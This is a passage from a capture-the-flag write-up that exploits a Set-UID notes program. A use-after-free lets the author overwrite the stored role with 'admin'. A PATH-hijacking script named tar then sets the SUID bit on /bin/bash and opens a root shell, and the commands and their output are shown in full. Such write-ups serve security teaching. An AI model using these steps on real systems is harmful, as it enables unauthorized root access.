8) Backup notes
9) Quit
========================================
Your choice:
admin
role, considering that in option number 2, it displays our role as user
.Upon selecting option 3, it appears to delete the user we've created.
Your choice: 3
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Your choice: 2
Username:
Role: user
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
username
field is empty; it seems the information has been deleted.If we restart the program and select option 2 without creating the user previously, a different error is displayed.
Your choice: 2
First create an user!
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Binary Analysis
To perform a more in-depth analysis of the binary, I'll use the Ghidra tool for reverse engineering.

The first thing that caught my attention was option 8, which required an
admin
role to access it.Upon reading its code, we see the following:

At first glance, it appears that by becoming an admin, we can exploit Path Hijacking during the execution of the
system()
function. This is because the tar
tool is being called relatively.Firstly, at the beginning of the program, we notice a set of variables and pointers being defined.

The variable where the user-entered options are stored is named
local_1c
:
Thanks to the
switch()
statement, we confirm that the variable local_1c
corresponds to the user-input options.In option
1
, we observe the following:
Initially, a request is made to the Heap for 0x28 bytes of memory, which in decimal is equivalent to 40 bytes. This memory section will be pointed to by the pointer
local_10
.Subsequently, it checks whether the
local_10
pointer is null. If this occurs, it is likely that the memory allocation from the preceding line was unsuccessful, leading the program to exit using the exit()
function.Utilizing the
memset()
function, the first 24 bytes of the memory section pointed to by local_10
are being filled with zeros. Then, in the second memset()
function call, the remaining memory pointed to by local_10
is filled with zeros.It's important to note that the pointer
local_10
is referencing a memory section of 40 bytes in size. Hence, the first memset()
call zeroes out the initial 24 bytes, leaving the remaining bytes (0x10, which is 16 in decimal) to be filled with zeros.Subsequently, a variable named
_Var1
is defined:
In this section of the code, a variable named
_Var1
is declared to store the UID (User ID) of the user running this program. In our case, we'll be running it as the user tbuckley
, so it will have the value 1002
.Following this, there's a comparison involving the value of
_Var1
, in simple terms, checking if the user running the program is the root user.If the user running the program is the root user, the string
admin
will be assigned to the memory section located 24 bytes from the start of the memory sector pointed to by local_10
. Otherwise, if the user running the program is not root, the string user
will be assigned.
Finally, the console displays the message
Choose an username:
, and then it requests a value to be entered, which will be stored in the memory section pointed to by local_10
.This entire process pertains to the creation of a user. If we navigate to option 2, we encounter the following:

Initially, it checks whether the pointer
local_10
is null; if it's not null, it displays information about our user on the screen.Firstly, it displays the string to which
local_10
points, in this case, it will be the username specified in option 1. Then, it shows the string located 24 bytes after the start of local_10
.The issue lies within option 3:

When the pointer
local_10
is not null (meaning we've previously created a user), the memory allocated, pointed to by local_10
and initially obtained by using malloc(0x28)
, is released back to the Heap.The vulnerability arises from the fact that even though the memory is freed, the pointer continues to point to the same memory section. Consequently, if memory is requested from the Heap again and assigned to the memory section pointed to by
local_10
, it becomes possible to access any information in that section using this pointer.In essence, since
local_10
doesn't become null again, it keeps pointing to the same memory section. After the memory has been freed, if elsewhere in the program new memory is allocated, it can be accessed through local_10
.
In option 4, we are given the opportunity to write a note. Initially, we notice that memory is being requested from the heap again, this time a total of 40 bytes.
Subsequently, the 40 bytes are filled with zeros. Then, it performs a check to verify if there have been no issues with the pointer. Afterward, it displays a message
Write your note:
, prompting us to provide data that will be stored in the memory section pointed to by local_18
.Let's recall that when we "delete" our user, the allocated memory is freed, but the issue lies in the fact that
local_10
continues to point to that memory section.Later, when creating a note, the same amount of memory is requested again. This will allocate the same block of memory previously reserved by
local_10
, although this time it will be pointed to by local_18
. However, since local_10
still points to that memory section, we can access it.In option 7, when deleting the note, it does so correctly by setting the
local_18
pointer to null, preventing its further use.
Knowing this, our plan is to initialize the
local_10
pointer to point to the memory block we requested in option 1, entering our username, and being assigned the user
role.Subsequently, we will delete our user, freeing the previously allocated memory. Then, we'll create a new note with special content. Our goal is to overwrite our role, so we need to input an appropriate string.
By entering the correct string, when listing the user information in option 2, it will display the content of the note because
local_10
continues to point to the same memory section.Let's proceed with the test. I'll create the user
elswix
using option 1:Choose an username: elswix
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
local_10
.Now, let's list the information of our user using option 2:
Your choice: 2
Username: elswix
Role: user
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Next, I'll select option 3 to "delete" my user and thus free the memory pointed to by
local_10
:Your choice: 3
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
username
field is empty:Your choice: 2
Username:
Role: user
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
First create an user!
.Now, I will create a note with any content:
Your choice: 4
Write your note:
this is a test
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Your choice: 2
Username: this
Role:
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
this
, which corresponds to the first word I entered in the previously created note. This occurs because both pointers local_10
and local_18
point to the same memory section. By exploiting the local_10
pointer, I can view the content of the note.To exploit this and assign ourselves the admin role, we need to remember where in the memory block the username and role are allocated.
The username corresponds to the first 24 bytes of the memory block pointed to by
local_10
, and the role occupies the remaining bytes to complete the memory block, which are approximately 16 bytes.As we're overwriting the memory pointed to by
local_10
through option 4, we should input the first 24 bytes as if they were a username (24 arbitrary characters). Following these 24 bytes, we should enter the string admin
because this will belong to the role field.We'll follow the same process as before, but when writing the note in option 4, I'll input the following string:
Your choice: 4
Write your note:
BBBBBBBBBBBBBBBBBBBBBBBBadmin
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
B
, and then added the string admin
.Now, if we list the user information:
Your choice: 2
Username: BBBBBBBBBBBBBBBBBBBBBBBBadmin
Role: admin
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
admin
role. Thanks to this, we can access option 8:Your choice: 8
Access granted!
tar: Removing leading `/' from member names
/opt/notes/
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
tar
tool. As we may recall, this tool is executed relative to the system level. Therefore, we can create a malicious bash script named tar
in the current working directory. Subsequently, when executing the Set-UID binary, we specify a path that includes the current directory.This is the content of the bash script:
tbuckley@gofer:/dev/shm$ cat tar
#!/bin/bash
chmod u+s /bin/bash
tbuckley@gofer:/dev/shm$
tbuckley@gofer:/dev/shm$ chmod +x tar
tbuckley@gofer:/dev/shm$ PATH=$(pwd):$PATH /usr/local/bin/notes
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
Your choice: 8
Access granted!
========================================
1) Create an user and choose an username
2) Show user information
3) Delete an user
4) Write a note
5) Show a note
6) Save a note (not yet implemented)
7) Delete a note
8) Backup notes
9) Quit
========================================
Your choice:
When listing the privileges of
/bin/bash
, we observe that it is Set-UID
:tbuckley@gofer:/dev/shm$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
tbuckley@gofer:/dev/shm$
-p
parameter, we can execute commands as root and view the final flag:tbuckley@gofer:/dev/shm$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
5c398********************5167e
bash-5.1#